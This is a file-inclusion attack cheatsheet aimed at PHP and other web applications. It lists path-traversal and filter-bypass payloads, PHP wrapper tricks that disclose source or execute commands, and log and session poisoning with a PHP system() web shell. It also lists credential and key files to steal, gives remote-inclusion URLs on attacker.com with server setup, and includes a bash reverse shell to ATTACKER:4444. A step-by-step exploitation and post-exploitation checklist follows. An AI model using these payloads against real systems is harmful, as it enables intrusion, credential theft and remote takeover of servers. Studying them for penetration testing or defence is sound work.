Cheatsheet

Basic LFI Payloads

/etc/passwd                                 # absolute path
../../../../etc/passwd                      # traversal
../../../../../../../../../etc/passwd       # overly deep (safe default)
/../../../../etc/passwd                     # leading slash (for appended prefix)

Filter Bypass — Nested

....//....//....//etc/passwd
..././..././..././etc/passwd
...\/...\/...\/etc/passwd

Filter Bypass — URL Encoding

%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd                    # single encoding
%252e%252e%252f%252e%252e%252fetc%252fpasswd               # double encoding
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd                       # UTF-8 overlong

Filter Bypass — Approved Path

./language/../../../../etc/passwd
./allowed/../../../etc/passwd

Filter Bypass — Null Byte (PHP < 5.5)

/etc/passwd%00
/etc/passwd%00.php

Filter Bypass — Path Truncation (PHP < 5.3)

echo -n "nonexistent/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

PHP Wrappers — Source Disclosure

php://filter/read=convert.base64-encode/resource=config
php://filter/read=convert.base64-encode/resource=index
php://filter/read=convert.base64-encode/resource=admin/login
php://filter/convert.base64-encode|convert.base64-encode/resource=config     # chained
php://filter/read=string.rot13/resource=config                                # alt encoding

PHP Wrappers — Direct RCE

data://text/plain,<?php system($_GET['c']); ?>&c=id
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id
php://input                                              # with POST body = PHP code
expect://id                                              # requires Expect PECL
zip:///tmp/upload.zip%23shell.php                        # PHP in uploaded zip
phar://upload.phar/shell.php                             # PHP in uploaded phar

Log Poisoning

# Inject via User-Agent:
User-Agent: <?php system($_GET['c']); ?>

# Include the log:
?file=/var/log/apache2/access.log&c=id
?file=/var/log/nginx/access.log&c=id
?file=/var/log/auth.log&c=id             # after SSH with malicious username

Log Paths by Platform

/var/log/apache2/access.log              # Debian/Ubuntu Apache
/var/log/apache2/error.log
/var/log/httpd/access_log                # RHEL/CentOS Apache
/var/log/httpd/error_log
/var/log/nginx/access.log                # Nginx
/var/log/nginx/error.log
/var/log/auth.log                        # SSH
/var/log/mail.log                        # mail

Session Poisoning

# Inject into any session-stored field, then:
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id

Interesting Linux Files

/etc/passwd
/etc/hosts
/etc/hostname
/etc/issue
/etc/resolv.conf
/proc/self/environ                       # CGI only
/proc/self/cmdline
/proc/self/status
/proc/version
/home/<user>/.ssh/id_rsa
/home/<user>/.bash_history
/root/.ssh/id_rsa
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log

Interesting Windows Files

C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf
C:\Windows\System32\config\SAM
C:\Users\<user>\.ssh\id_rsa
C:\Windows\Panther\unattend.xml

Web Application Config Files

/var/www/html/config.php                 # custom PHP
/var/www/html/.env                       # Laravel, modern PHP
/var/www/html/wp-config.php              # WordPress
/var/www/html/configuration.php          # Joomla
/var/www/html/sites/default/settings.php # Drupal
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf

RFI Payloads

http://attacker.com/shell.php
HtTp://attacker.com/shell.php            # case bypass
\\attacker.com\share\shell.php           # SMB (Windows targets)
ftp://attacker.com/shell.php             # FTP

Attacker Server Setup

# HTTP (Linux)
mkdir /tmp/rfi && cd /tmp/rfi
echo '<?php system($_GET["c"]); ?>' > shell.php
sudo python3 -m http.server 80           # safer than php -S for RFI
 
# SMB (Impacket)
sudo smbserver.py share /tmp/rfi -smb2support

Reverse Shell via LFI+Log Poison

# Inject this as User-Agent:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"); ?>

# Then:
?file=/var/log/apache2/access.log

# Listener:
nc -lvnp 4444

Discovery Commands

ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://target/FUZZ.php
ffuf -w wordlist.txt:FUZZ -u "http://target/page?file=FUZZ" -mr "root:"

Common Parameter Names

?file=
?page=
?view=
?template=
?lang=
?include=
?path=
?doc=
?folder=
?document=
?img=
?link=

Capability Matrix Quick Reference

FunctionReadExecRemote
include() PHP✅✅✅
require() PHP✅✅❌
file_get_contents() PHP✅❌✅
fopen() / file() PHP✅❌❌
fs.readFile() Node✅❌❌
res.render() Node✅✅❌
import Java / .NET✅✅✅

Checklist

Identify LFI Candidates

  • Enumerate parameters that reference files, pages, or templates
  • Test each with /etc/passwd and C:\Windows\win.ini
  • Watch for distinctive strings (root:x:0:0:, [fonts]) in responses
  • Note any error messages — often leak the base path

Determine Vulnerability Pattern

  • Unmodified input → absolute path works directly
  • Prepended directory → use ../ traversal
  • Prepended prefix (not directory) → use / prefix
  • Appended extension → need PHP wrappers to bypass

Try Basic Payloads First

  • /etc/passwd
  • ../../../../etc/passwd
  • /../../../../etc/passwd
  • If blocked, try one bypass at a time

Filter Bypass Progression

  • Try ....// for single-pass ../ stripping
  • Try URL encoding (single, then double)
  • Try case variation (if Windows)
  • Try approved-path + traversal if regex is strict
  • Try PHP wrappers for appended-extension filters

Source Code Disclosure

  • Use php://filter/read=convert.base64-encode/resource=<file>
  • Start with index, config, .env
  • Decode locally: echo '<b64>' | base64 -d
  • Mine disclosed source for credentials, API keys, further files
  • Recursively disclose referenced files

Identify Capability

  • Determine the inclusion function (from errors, source disclosure, behavior)
  • Check the capability matrix — can it execute? fetch remote?
  • Check php.ini values via phpinfo.php if you can read it

LFI to RCE

  • Try data://text/plain,<?php ... ?> (requires allow_url_include=On)
  • Try php://input with PHP in POST body (same requirement)
  • Try log poisoning via User-Agent + include access log
  • Try PHP session file poisoning
  • Try /proc/self/environ (CGI only)
  • Try file upload + include if an upload exists

RFI (if capability allows)

  • Confirm outbound HTTP from target to your listener
  • Host PHP payload on attacker server
  • Trigger inclusion with your URL
  • If HTTP blocked, try SMB (Windows) or FTP

Post-Exploitation

  • Upgrade to reverse shell immediately
  • Enumerate for lateral movement (SSH keys, DB creds from disclosed configs)
  • Check what user the web server runs as (id, whoami)
  • Hunt for privilege escalation vectors